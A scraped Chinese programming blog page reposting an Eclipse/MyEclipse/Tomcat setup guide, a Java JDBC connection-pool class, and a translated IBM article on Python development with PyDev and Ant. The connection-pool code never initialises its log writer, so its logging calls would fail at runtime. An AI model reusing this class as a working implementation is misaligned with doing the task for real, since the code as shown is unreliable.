<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 189,comments - 115,trackbacks - 0
    J2EE配置
    ?發(fā)表于 2005-5-19 22:17:12

    在Eclipse中用myEclipse進(jìn)行開發(fā)
    Eclipse 學(xué)習(xí)筆記


    lnboy @ delphibbs 本人原創(chuàng),未經(jīng)本人允許,請(qǐng)勿在其它地方以賺取論壇積分等目的來進(jìn)行轉(zhuǎn)載
    需要打包好的myeclipse.rar,請(qǐng)與我聯(lián)系。

    1.先下載Eclipse:
    主頁:
    http://www.eclipse.org/
    下載頁面:
    http://www.eclipse.org/downloads/index.php
    主程序下載:
    http://download2.eclipse.org/downloads/drops/R-2.1.2-200311030802/eclipse-SDK-2.1.2-win32.zip
    中文語言包下載:
    http://download2.eclipse.org/downloads/drops/L-2.1.x%20Translations-200307021300/eclipse2.1.1-SDK-win-LanguagePackFeature.zip
    注意:后面將用到Tomcat5做為例子演示,建議安裝Tomcat5或者Tomcat4,并且要用到j(luò)2sdk,建議先安裝j2sdk。
    2.下載myEclipse插件
    http://www.myeclipseide.com/modules/Downloads/download_files/EnterpriseWorkbenchInstaller_020604.exe (這個(gè)是支持Eclipse2.X版本的)
    http://www.myeclipseide.com/modules/Downloads/download_files/EnterpriseWorkbenchInstaller_030604.exe (這個(gè)是支持Eclipse3.X版本的)

    3.解壓eclipse-SDK-2.1.2-win32.zip到一個(gè)目錄,我是解壓到D:\program\eclipse了。
    然后運(yùn)行D:\program\eclipse\eclipse.exe,等Eclipse的自動(dòng)安裝完畢。然后再關(guān)閉Eclipse。
    4.解壓eclipse2.1.1-SDK-win-LanguagePackFeature.zip到D:\program\eclipse\下,將自動(dòng)覆蓋D:\program\eclipse\plugins和D:\program\eclipse\features下的一些文件。

    5.再運(yùn)行D:\program\eclipse\eclipse.exe,進(jìn)行更新。更新完成,并自動(dòng)重新啟動(dòng)Eclipse之后,再關(guān)閉Eclipse。


    2003-12-6 21:50:00? ?
    ?2003-12-6 21:52:49? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:53:21? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:53:59? ? 安裝myEclipse

    6.安裝myEclipse。運(yùn)行EnterpriseWorkbenchInstaller_020604.exe,先點(diǎn)“next”,再接受協(xié)議,再點(diǎn)“next”,選擇好Eclipse的目錄之后,再點(diǎn)“next”,選擇myEclipse的安裝目錄之后,繼續(xù)“next”,再“next”->"install"->“next”->"done"。到此完成myEclipse的安裝了。

    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:54:39? ?

    7.運(yùn)行D:\program\eclipse\eclipse.exe,同樣,也將檢測到更新。同上面操作一樣,先確定,然后再重新啟動(dòng)Eclipse。

    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:55:23? ?

    8.主菜單->窗口->首選項(xiàng)->java->已安裝的jre,點(diǎn)添加。

    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:55:42? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:56:13? ?

    9.主菜單->窗口->首選項(xiàng)->myEclipse->subscription,填寫注冊信息進(jìn)行注冊,不然就只能夠用30天。

    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:57:07? ? 10.配置Tomcat。
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:57:34? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:58:27? ?

    11.下面開始新建個(gè)webapp項(xiàng)目來試試。主菜單->文件->新建->項(xiàng)目->j2ee-> ?

    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:58:46? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:59:12? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:59:39? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 21:59:57? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:00:30? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:00:53? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:01:16? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:01:42? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:02:04? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:02:49? ? 12.開始進(jìn)行發(fā)布設(shè)置。
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:03:11? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:03:35? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:04:01? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:05:02? ? 12.啟動(dòng)web服務(wù)器。
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:05:25? ?
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">
    ?
    ?2003-12-6 22:05:59? ? 12.查看運(yùn)行結(jié)果。
    500)this.width=500" border=0 pop="點(diǎn)擊在新窗口查看原始圖片">?
    posted @ 2006-03-25 20:47 MEYE 閱讀(330) | 評(píng)論 (0)編輯 收藏
    一個(gè)很不錯(cuò)的數(shù)據(jù)庫連接池實(shí)現(xiàn),備份之
    ?

    一個(gè)很不錯(cuò)的數(shù)據(jù)庫連接池實(shí)現(xiàn),備份之

    import java.sql.*;
    import java.io.*;
    import java.util.*;
    public class DBConnectionManager {

    ??private static int clients = 0;
    ??private static DBConnectionManager instance;
    ??private Vector drivers = new Vector();
    ??private PrintWriter log;
    ??private Hashtable pools = new Hashtable();


    ??public DBConnectionManager() {
    ????init();
    ??}
    ??private void log(String msg) {
    ????log.println(new java.util.Date() + ": " + msg);
    ??}

    ??/**
    ??* 將文本信息與異常寫入日志文件
    ??*/
    ??private void log(Throwable e, String msg) {
    ????log.println(new java.util.Date() + ": " + msg);
    ????e.printStackTrace(log);
    ??}

    ??public static synchronized??DBConnectionManager getInstance() {
    ????if (instance == null) {
    ??????instance = new DBConnectionManager();
    ????}
    ????clients++;
    ????return instance;
    ??}
    ??private void init() {
    ????InputStream is = getClass().getResourceAsStream("/db.properties");
    ????Properties dbProps = new Properties();
    ????try {
    ??????dbProps.load(is);
    ????}
    ????catch (Exception e) {
    ????????System.err.println("Can not read the properties file. " +
    ????????"Make sure db.properties is in the CLASSPATH");
    ????????return;
    ????}
    ????loadDrivers(dbProps);
    ????createPools(dbProps);
    ??}
    ??public void freeConnection(String name, Connection con) {
    ????DBConnectionPool pool = (DBConnectionPool) pools.get(name);
    ????if (pool != null) {
    ??????pool.freeConnection(con);
    ????}
    ??}
    ??public Connection getConnection(String name) {
    ????DBConnectionPool pool = (DBConnectionPool) pools.get(name);
    ????if (pool != null) {
    ??????return pool.getConnection();
    ????}
    ????return null;
    ??}
    ??public Connection getConnection(String name, long time) {
    ????DBConnectionPool pool = (DBConnectionPool) pools.get(name);
    ????if (pool != null) {
    ??????return pool.getConnection(time);
    ????}
    ????return null;
    ??}
    ??public synchronized void release() {
    ????// 等待直到最后一個(gè)客戶程序調(diào)用
    ????if (--clients != 0)
    ????{
    ??????return;
    ????}
    ????Enumeration allPools = pools.elements();
    ????while (allPools.hasMoreElements())
    ????{
    ??????DBConnectionPool pool = (DBConnectionPool)allPools.nextElement();
    ??????pool.release();
    ????}
    ????Enumeration allDrivers = drivers.elements();
    ????while (allDrivers.hasMoreElements())
    ????{
    ??????Driver driver = (Driver) allDrivers.nextElement();
    ??????try {
    ????????DriverManager.deregisterDriver(driver);
    ????????log("撤銷JDBC驅(qū)動(dòng)程序 " + driver.getClass().getName()+"的注冊");
    ??????}
    ??????catch (SQLException e) {
    ??????log(e, "無法撤銷下列JDBC驅(qū)動(dòng)程序的注冊: " + driver.getClass().getName());
    ??????}
    ????}
    ??}


    /*
    drivers=sun.jdbc.odbc.JdbcOdbcDriver jdbc.idbDriver

    logfile=D:\\user\\src\\java\\DBConnectionManager\\log.txt

    idb.url=jdbc:idb:c:\\local\\javawebserver1.1\\db\\db.prp

    idb.maxconn=2

    access.url=jdbc:odbc:demo

    access.user=demo

    access.password=demopw

    */
    ??private void loadDrivers(Properties props) {
    ????String driverClasses = props.getProperty("drivers");
    ????StringTokenizer st = new StringTokenizer(driverClasses);
    ????while (st.hasMoreElements()) {
    ??????String driverClassName = st.nextToken().trim();
    ??????try {
    ????????Driver driver = (Driver)
    ??????????Class.forName(driverClassName).newInstance();
    ????????DriverManager.registerDriver(driver);
    ????????drivers.addElement(driver);
    ?????//???Log.log("Registered JDBC driver " + driverClassName);
    ??????}
    ??????catch (Exception e) {
    ??????//??Log.log("Can not register JDBC driver: " + driverClassName + ", Exception: " + e.toString()));
    ??????}
    ????}
    ??}
    ??private void createPools(Properties props) {
    ????Enumeration propNames = props.propertyNames();
    ????while (propNames.hasMoreElements())
    ????{
    ??????String name = (String) propNames.nextElement();
    ??????if (name.endsWith(".url"))
    ??????{
    ????????String poolName = name.substring(0, name.lastIndexOf("."));
    ????????String url = props.getProperty(poolName + ".url");
    ????????if (url == null) {
    ???????//???Log.log("No URL specified for " + poolName);
    ??????????continue;
    ????????}
    ????????String user = props.getProperty(poolName + ".user");
    ????????String password = props.getProperty(poolName + ".password");
    ????????String maxconn = props.getProperty(poolName + ".maxconn", "0");
    ????????int max;
    ????????try {
    ??????????max = Integer.valueOf(maxconn).intValue();
    ????????}
    ????????catch (NumberFormatException e) {
    ??????//????Log.log("Invalid maxconn value " + maxconn + " for " +???poolName);
    ??????????max = 0;
    ????????}
    ????????DBConnectionPool pool =
    ??????????new DBConnectionPool(poolName, url, user, password, max);
    ????????pools.put(poolName, pool);
    ??????//??Log.log("Initialized pool " + poolName);
    ??????}
    ????}
    ??}

    ??class DBConnectionPool {
    ????private int checkedOut;
    ????private Vector freeConnections = new Vector();
    ????private int maxConn;
    ????private String name;
    ????private String password;
    ????private String URL;
    ????private String user;

    ????/**
    ????* 創(chuàng)建新的連接池
    ????*
    ????* @param name 連接池名字
    ????* @param URL 數(shù)據(jù)庫的JDBC URL
    ????* @param user 數(shù)據(jù)庫帳號(hào),或 null
    ????* @param password 密碼,或 null
    ????* @param maxConn 此連接池允許建立的最大連接數(shù)
    ????*/
    ????public DBConnectionPool(String name, String URL, String user
    ????????, String password,???int maxConn)
    ????{
    ??????this.name = name;
    ??????this.URL = URL;
    ??????this.user = user;
    ??????this.password = password;
    ??????this.maxConn = maxConn;
    ????}

    ??/**
    ??* 將不再使用的連接返回給連接池
    ??*
    ??* @param con 客戶程序釋放的連接
    ??*/
    ????public synchronized void freeConnection(Connection con) {
    ????// 將指定連接加入到向量末尾
    ??????freeConnections.addElement(con);
    ??????checkedOut--;
    ??????notifyAll();
    ????}

    ????/**
    ?????* 從連接池獲得一個(gè)可用連接.如沒有空閑的連接且當(dāng)前連接數(shù)小于最大連接
    ?????* 數(shù)限制,則創(chuàng)建新連接.如原來登記為可用的連接不再有效,則從向量刪除之,
    ?????* 然后遞歸調(diào)用自己以嘗試新的可用連接.
    ?????*/
    ????public synchronized Connection getConnection()
    ????{
    ??????Connection con = null;
    ??????if (freeConnections.size() > 0)
    ??????{
    ??????// 獲取向量中第一個(gè)可用連接
    ????????con = (Connection) freeConnections.firstElement();
    ????????freeConnections.removeElementAt(0);
    ????????try {
    ??????????if (con.isClosed())
    ??????????{
    ????????????log("從連接池" + name+"刪除一個(gè)無效連接");
    ????????????// 遞歸調(diào)用自己,嘗試再次獲取可用連接
    ????????????con = getConnection();
    ??????????}
    ????????}
    ????????catch (SQLException e)
    ????????{
    ??????????log("從連接池" + name+"刪除一個(gè)無效連接");
    ??????????// 遞歸調(diào)用自己,嘗試再次獲取可用連接
    ??????????con = getConnection();
    ????????}
    ??????}
    ??????else if (maxConn == 0 || checkedOut < maxConn)
    ??????{
    ????????con = newConnection();
    ??????}
    ??????if (con != null) {
    ????????checkedOut++;
    ??????}
    ??????return con;
    ????}

    ??/**
    ??* 從連接池獲取可用連接.可以指定客戶程序能夠等待的最長時(shí)間
    ??* 參見前一個(gè)getConnection()方法.
    ??*
    ??* @param timeout 以毫秒計(jì)的等待時(shí)間限制
    ??*/
    ????public synchronized Connection getConnection(long timeout)
    ????{
    ??????long startTime = new java.util.Date().getTime();
    ??????Connection con;
    ??????while ((con = getConnection()) == null)
    ??????{
    ????????try {
    ??????????wait(timeout);
    ????????}
    ????????catch (InterruptedException e) {}
    ????????if ((new java.util.Date().getTime() - startTime) >= timeout)
    ????????{
    ????????// wait()返回的原因是超時(shí)
    ??????????return null;
    ????????}
    ??????}
    ??????return con;
    ????}

    ??/**
    ??* 關(guān)閉所有連接
    ??*/
    ????public synchronized void release()
    ????{
    ??????Enumeration allConnections = freeConnections.elements();
    ??????while (allConnections.hasMoreElements())
    ??????{
    ????????Connection con = (Connection) allConnections.nextElement();
    ????????try {
    ????????con.close();
    ??????????log("關(guān)閉連接池" + name+"中的一個(gè)連接");
    ????????}
    ????????catch (SQLException e) {
    ??????????log(e, "無法關(guān)閉連接池" + name+"中的連接");
    ????????}
    ??????}
    ??????freeConnections.removeAllElements();
    ????}

    ??/**
    ??* 創(chuàng)建新的連接
    ??*/
    ????private Connection newConnection()
    ????{
    ??????Connection con = null;
    ??????try {
    ????????if (user == null) {
    ??????????con = DriverManager.getConnection(URL);
    ????????}
    ????????else {
    ??????????con = DriverManager.getConnection(URL, user, password);
    ????????}
    ????????log("連接池" + name+"創(chuàng)建一個(gè)新的連接");
    ??????}
    ??????catch (SQLException e) {
    ????????log(e, "無法創(chuàng)建下列URL的連接: " + URL);
    ????????return null;
    ??????}
    ??????return con;
    ????}
    ??}
    }

    posted @ 2006-03-25 20:28 MEYE 閱讀(345) | 評(píng)論 (0)編輯 收藏
    用?Eclipse?和?Ant?進(jìn)行?Python?開發(fā)(轉(zhuǎn)自IBM)
      用 Eclipse IDE 和 Apache Ant 構(gòu)建工具進(jìn)行 Python 開發(fā)

    級(jí)別: 中級(jí)

    Ron Smith
    負(fù)責(zé)人, RPS Technologies, Inc
    2004 年 6 月

    Python 是一種非常靈活強(qiáng)大的動(dòng)態(tài)腳本編程語言,具有完整的面向?qū)ο筇匦?。眾多的支持者指出,Python 語言與其他語言相比能更快更有效地表達(dá)出他們的意圖。但是從 Java 技術(shù)? 或 Microsoft? .NET 剛剛轉(zhuǎn)到 Python 的人會(huì)發(fā)現(xiàn),功能豐富而精致的 IDE 和開發(fā)工具都不見了。那些開發(fā)人員可以從他們熟悉的 Java 開發(fā)工具中找到解決方案。本文著重介紹了如何使用基于 Java 技術(shù)的流行開發(fā)工具 Eclipse 和 Ant 進(jìn)行 Python 開發(fā)。

    簡介
    多年以來, Java 語言和 Python 陣營之間一直存在大量的異花授粉現(xiàn)象。在這方面作出突出表率的可能是 Jython。這是一個(gè)純粹用 Java 實(shí)現(xiàn)的 Python 運(yùn)行時(shí)環(huán)境。按照這一說法,您將研究如何用 Eclipse IDE 和 Ant 構(gòu)建與部署工具實(shí)現(xiàn) Python 開發(fā)。Eclipse 和 Ant 是非常流行的工具,它們特性豐富、可擴(kuò)展性強(qiáng)、而且開放源代碼;Python 也具有相同的品質(zhì)。PyDev 和 PyAntTasks 分別是 Eclipse 和 Ant 的擴(kuò)展,有了它們就可能用這些 Java 工具開發(fā) Python。本文從下載安裝所需的工具與擴(kuò)展開始講起。為了解釋如何在 Python 開發(fā)中使用 Eclipse 和 Ant,我將用實(shí)際的 Python 代碼例子讀取 RSS 資源。

    本文不會(huì)涉及 Eclipse、Ant、Python 的細(xì)節(jié)。有關(guān)這些話題的深入討論,請(qǐng)參閱 參考資料 一節(jié)中的鏈接。

    Python 支持情況
    本文用到的軟件都在 CPython 2.3 下測試過。除了幾個(gè)異常情況之外,應(yīng)該也能在 Jython 中運(yùn)行。特別需要指出,PyDev 調(diào)試器目前不支持 Jython。另一個(gè)區(qū)別是通過 Jython 執(zhí)行的腳本在從 PyDev 中運(yùn)行之后就轉(zhuǎn)入交互模式,這樣就必須手動(dòng)殺死。PyDev 編輯器與 Jython 的源代碼兼容,Python Ant 任務(wù)除 py-doc 任務(wù)之外也和 Jython 兼容。

    使用 Eclipse 進(jìn)行 Python 開發(fā)

    Eclipse 概述
    Eclipse 是一個(gè) Java 技術(shù)集成開發(fā)環(huán)境,由 IBM 開發(fā),并開放其源代碼。它是 IBM 商業(yè)軟件 WebSphere Application Development 環(huán)境以及其他多種工具的基礎(chǔ)。Eclipse 的開發(fā)社區(qū)非?;钴S,他們不僅開發(fā) Eclipse 本身,還開發(fā)大量的插件供 Eclipse 使用。有關(guān) Eclispe 和 Eclipse 插件的 Web 站點(diǎn),請(qǐng)參閱 參考資料 一節(jié)中的鏈接。盡管從傳統(tǒng)上講 Eclipse 是一種 Java 開發(fā)工具,但是一些插件的存在使得在 Eclipse 中開發(fā)其他語言的程序成為可能,如 C/C++、Python 和 Perl。

    在 Eclipse 中,源代碼被組織到項(xiàng)目(project)中。項(xiàng)目可以加載、卸載和導(dǎo)入。Eclipse 用戶界面的結(jié)構(gòu)劃分為視圖(View)與編輯器(Editor)。視圖與編輯器的例子包括:源代碼大綱視圖、Java 源代碼編輯器、Python 源代碼編輯器和文件系統(tǒng)導(dǎo)航視圖。Eclipse 用戶界面中最關(guān)鍵的隱含概念就是 視角(perspective)。視角是通常在執(zhí)行某種類型活動(dòng)時(shí)一起使用的一組視圖。Eclipse 中的標(biāo)準(zhǔn)視角包括:Debug、Java Browsing、Java、Java Type Hierarchy、Plug-in Development、CVS Repository Exploring、Resource 和 Install/Update。目前還不存在單獨(dú)的 Python 視角。在進(jìn)行 Python 開發(fā)時(shí),我通常使用 Resource 視角和 Debug 視角。

    安裝 PyDev
    首先,從 Eclipse Web 站點(diǎn)上下載 Eclipse(請(qǐng)參閱 參考資料 一節(jié)中的鏈接),并根據(jù)您的平臺(tái),按照下面的安裝指南安裝 Eclipse:

    Eclipse 的更新機(jī)制使 PyDev 插件的安裝更加容易。從 Eclipse 中選擇 Help > Software Updates > Update Manager,啟動(dòng) Install/Update 視角。在左下角的 Feature Updates 視圖中,將 PyDev 插件更新站點(diǎn)作為新的 Site Bookmark 添加到“Sites to Visit”文件夾下。Eclipse 的 PyDev 更新站點(diǎn) URL 為 http://pydev.sf.net/updates/?,F(xiàn)在,F(xiàn)eature Updates 編輯器中應(yīng)該顯示出“PyDev”這一特性。在 Feature Updates 編輯器中,展開 PyDev > Other,選擇其中顯示的 PyDev 特性(至少應(yīng)該是 0.4.1)。然后選擇 “Install Now”安裝該特性。Eclipse 將下載 PyDev 插件,并將其安裝到 Eclipse 中。

    導(dǎo)入樣例項(xiàng)目
    為訪問本項(xiàng)目中使用的樣例代碼,可先下載 zip 文件(請(qǐng)參閱 參考資料一節(jié)),在文件系統(tǒng)中展開該 zip 文件,然后將其中的項(xiàng)目導(dǎo)入 Eclipse。導(dǎo)入項(xiàng)目的方法是先切換到 Resource 視角,選擇 File > Import,再選擇“Existing Project into Workspace”,然后選擇您展開 zip 文件的位置。這時(shí),Navigator 視圖中應(yīng)該出現(xiàn) feedParserTest 項(xiàng)目。

    樣例項(xiàng)目中已經(jīng)包含了 Fead Parser 通用資源解析庫,該庫按 Python 開放源代碼許可協(xié)議發(fā)布。有關(guān) Feed Parser 項(xiàng)目 Web 網(wǎng)站的鏈接,請(qǐng)參閱 參考資料 一節(jié)。

    PyDev 漫游
    現(xiàn)在開始學(xué)習(xí)如何通過已導(dǎo)入的項(xiàng)目了解 PyDev 的特性。PyDev 正處于開發(fā)過程中,但已經(jīng)是非常高效的 Python 開發(fā)環(huán)境。現(xiàn)在的 PyDev 主要包括以下特性:

    • 包含 Python 語法高亮顯示特性的 Python 編輯器。
    • 進(jìn)行 Python 語法分析,并在 Python 編輯器和 Tasks 視圖中高亮顯示錯(cuò)誤。
    • 可將制表符轉(zhuǎn)換成空格的選項(xiàng)。
    • Outline 視圖顯示導(dǎo)入的庫、類以及函數(shù)。
    • 終端視圖中的 Python 堆棧跟蹤信息可超鏈接到源代碼中。
    • 源代碼內(nèi)部的超鏈接;同一模塊內(nèi)的導(dǎo)入和函數(shù)調(diào)用可通過超鏈接進(jìn)行導(dǎo)航。
    • 從 Navigator 視圖中運(yùn)行 Python 腳本的能力。
    • 調(diào)試器支持?jǐn)帱c(diǎn)、代碼單步執(zhí)行以及顯示變量的值。

    PyDev 選項(xiàng)窗口
    通過 Window > Preferences,并選擇 PyDev(請(qǐng)參閱圖 1),便可訪問 PyDev 選項(xiàng)。第一組選項(xiàng)可以改變 PyDev 在源代碼中處理制表符的方式,還可以改變語法元素的顏色。

    圖 1. PyDev 選項(xiàng)窗口

    設(shè)置 Python 解釋器
    PyDev Debug 選項(xiàng)可以選擇 Python 解釋器,供執(zhí)行 Python 代碼時(shí)使用。如果 PyDev 無法找到 Python 解釋器,或者想使用別的解釋器,可在此設(shè)置(請(qǐng)參閱圖 2)。

    圖 2. PyDev Debug 選項(xiàng)

    處理源代碼
    我的大部分 Python 工作都是在 Resource 視角中完成的。使用方法是先切換到 Resource 視角,然后在左上角的 Navigator 視圖中雙擊 feedParserTest/src/feedparserTest/FeedparserTest.py 文件。Python 編輯器打開該文件,對(duì) Python 語法進(jìn)行解析,完成設(shè)置顏色和語法檢查的工作(請(qǐng)參閱圖 3)。

    圖 3. Python 編輯器

    如果源代碼中有任何錯(cuò)誤,則顯示在右下角的 Tasks 視圖中顯示出來。雙擊 Tasks 視圖中的錯(cuò)誤,便可找到那條討厭的代碼行。

    Outline 視圖在左下角,其中用一種便于瀏覽的結(jié)構(gòu)顯示出當(dāng)前正在編輯的文件。導(dǎo)入的庫、類、函數(shù)全都顯示出來,通過雙擊 Outline 視圖中的項(xiàng)目,便可以實(shí)現(xiàn)導(dǎo)航。PyDev 在編輯 Python 文件的過程中對(duì)齊進(jìn)行預(yù)先解析的工作,同時(shí)更新 Outline 視圖,執(zhí)行語法檢查,并用不同顏色顯示語法元素。

    編輯器的特性
    PyDev 0.4 版在 Python 源代碼編輯器中為函數(shù)和導(dǎo)入庫加入了超鏈接的特性。如果在越過某項(xiàng)導(dǎo)入或函數(shù)調(diào)用(必須在 PYTHONPATH 目錄中)的同時(shí)按下 Control 鍵,PyDev 就能顯示出一個(gè)超鏈接,這樣您可以在導(dǎo)入庫或函數(shù)的源代碼之間導(dǎo)航。請(qǐng)注意,為了在您自己的源代碼中跨模塊使用該特性(從一個(gè)模塊鏈接到另一個(gè)模塊),必須修改 PYTHONPATH 環(huán)境變量,在其中加入這些模塊,這樣 PyDev 就可以找到它們了。

    人們已經(jīng)開始將一些優(yōu)異的源代碼編輯特性加入最新版本的 PyDev 中,其中就包括代碼塊注釋與取消注釋,以及代碼左右移位(請(qǐng)參閱圖 4)。

    圖 4. PyDev 編輯器的其他特性

    運(yùn)行 Python 腳本
    如果不能執(zhí)行代碼,那么 IDE 也不是太有用。為執(zhí)行 Python 代碼,可從 Navigator 視圖中選擇 feedparser.py 文件,用右鍵點(diǎn)擊,然后選擇 Python > Run。隨后會(huì)顯示 Python 的啟動(dòng)配置窗口(請(qǐng)參閱圖 5)。

    圖 5. Python 啟動(dòng)配置

    Python 啟動(dòng)配置窗口中可以定義腳本執(zhí)行的當(dāng)前目錄,傳遞給腳本的參數(shù),以及用哪一個(gè) Python 解釋器運(yùn)行腳本。feedparser.py 以一個(gè) RSS URL 作為參數(shù),所以可在參數(shù)字段中填入 URL,如 http://www.ibm.com/developerworks/news/dw_dwtp.rss。其余的缺省定義就可以了,所以單擊 Run。

    腳本執(zhí)行時(shí)輸出信息顯示在 Console 窗口中。如果有錯(cuò)誤出現(xiàn),Console 窗口中將顯示堆棧跟蹤信息,其中的每一行都可以通過超鏈接找到 Python 源代碼。

    Python 調(diào)試器
    Python 調(diào)試器是最近才加入 PyDev 插件中的。要使用調(diào)試器,可在 Python 編輯器中想中斷的代碼行的左側(cè)點(diǎn)擊,設(shè)置斷點(diǎn)。在圖 6 中,我在 feedparser.py 的 1830 行處設(shè)置了斷點(diǎn)。然后在 Navigator 視圖中選擇這個(gè) Python 模塊,點(diǎn)擊右鍵,選擇“Python > Debug...”。這時(shí)將顯示與前面相似的一個(gè)啟動(dòng)配置窗口。點(diǎn)擊 Debug 進(jìn)入 Debug 視角,同時(shí)啟動(dòng)調(diào)試器。

    圖 6. Python 調(diào)試器

    左上角的 Debug 視圖顯示當(dāng)前正在執(zhí)行的進(jìn)程和線程,右上角的 Variables 視圖顯示當(dāng)前運(yùn)行域中的所有變量,Python 編輯器會(huì)顯示調(diào)試器目前停在哪條語句上,同時(shí)所有的輸出信息都顯示與 Console 視圖中。調(diào)試器可以通過 Debug 視圖底部的按鈕或 Run 菜單進(jìn)行控制。

    其他 Eclipse 特性
    Eclipse 及其插件還具備很多其他的特性,可應(yīng)用于 Python 開發(fā)中,如 XML 編輯器、UML 編輯器(不過大多數(shù)是以 Java 代碼為中心),還有資源控制方面的插件。目前 Eclipse 插件站點(diǎn)上列出的插件幾乎有 500 個(gè)(請(qǐng)參閱 參考資料 一節(jié)中的相關(guān)鏈接)。我將著重介紹一個(gè)對(duì)很多 Python 開發(fā)人員都特別有用的插件:Eclipse 發(fā)行版中已經(jīng)包括的 CVS 插件,不過不會(huì)討論細(xì)節(jié)內(nèi)容。

    Eclipse 中包括特性豐富的集成 CVS:

    • 支持 SSH、pserver、ext 等連接方法。
    • 基本 CVS 命令的支持:檢出項(xiàng)目、提交變更、更新、向.cvsignore 中增加文件或模式等等。
    • 文件合并查看。
    • 在源代碼控制中實(shí)現(xiàn)對(duì)文件不同之處的比較。
    • 項(xiàng)目同步,并用資料庫顯示出刪除和新增的內(nèi)容。

    還可以通過提供其他插件來支持其他源代碼控制系統(tǒng),如 ClearCase、Subversion、Visual SourceSafe 等。

    在 Eclipse 中使用 Python 的交互式 shell
    Python 解釋器支持 Python 代碼的交互式執(zhí)行。這種方式對(duì)于調(diào)試一段代碼是非常有用的,因?yàn)椴挥冒汛a放進(jìn) Python 腳本中并執(zhí)行腳本了。同時(shí),Python 解釋器的交互模式可以很容易地集成到 Eclipse 中。

    要增加對(duì) Python 交互式執(zhí)行的支持,可通過 Run > External Tools > External Tools 增加一個(gè) External Tool 啟動(dòng)程序。這時(shí)將打開 External Tool 啟動(dòng)程序配置窗口。在 Configurations 列表中選擇“Program”,然后點(diǎn)擊“New”創(chuàng)建一個(gè)新的配置。將該配置命名為諸如 "pythonInteractive" 之類,然后設(shè)置 Location,令其指向您的 Python 解釋器,接著,將 "-i" 作為唯一的參數(shù)傳遞進(jìn)來(請(qǐng)參閱圖 7)。

    在 Common 選項(xiàng)卡下,選中復(fù)選框,使該配置在 External Tools 收藏夾菜單中顯示出來。

    圖 7. Python 交互方式配置

    要運(yùn)行剛剛在 Eclipse 中創(chuàng)建的啟動(dòng)器,可選擇 Run > External Tools > pythonInterpreter。Python 解釋器的輸出顯示在 Console 視圖中。Console 中可輸入 Python 命令并執(zhí)行,就像從命令行中執(zhí)行 Python 一樣。為導(dǎo)入并在交互模式下使用模塊,您需要將模塊的位置增加到 PYTHONPATH 環(huán)境變量中。

    在 Eclipse Console 中執(zhí)行 Python 與用命令行執(zhí)行的不同之處在于,無法啟用命令歷史特性(通過向上和向下的方向鍵實(shí)現(xiàn)),因?yàn)?Eclipse Console 會(huì)自己解釋這些鍵。

    在 Python 開發(fā)中使用 Ant
    Python 會(huì)在它需要的時(shí)候自動(dòng)編譯模塊。這意味著 Python 開發(fā)人員通常不必顯式地對(duì)模塊進(jìn)行編輯。即便如此,有時(shí)候手工編譯 Python 代碼還是很有用的,同時(shí),構(gòu)建和部署過程中還有很多其他方面的內(nèi)容可以自動(dòng)化實(shí)現(xiàn)。這也正是構(gòu)建工具的用武之地。

    我將著重介紹來自 Java 編程世界中的 Apache Ant,這個(gè)工具可大量應(yīng)用在 Python 開發(fā)中。Apache Ant 是 Java 編程領(lǐng)域內(nèi)事實(shí)上的標(biāo)準(zhǔn)構(gòu)建工具。它更加輕便,與 Java 技術(shù)結(jié)合得更好,可用于替代其他的構(gòu)建工具。Ant 可以在支持 Java 編程語言的任何一種平臺(tái)上運(yùn)行。盡管我們需要的大多數(shù)構(gòu)建特性 Ant 都已經(jīng)提供了,但如果要將 Ant 用做 Python 構(gòu)建工具,還是需要有一些關(guān)鍵的與 Python 相關(guān)的特性。我已經(jīng)開發(fā)了若干定制的 Ant 插件(用 Ant 的行話講叫做 task),可提供構(gòu)建 Python 時(shí)需要的特定于 Python 的特性。

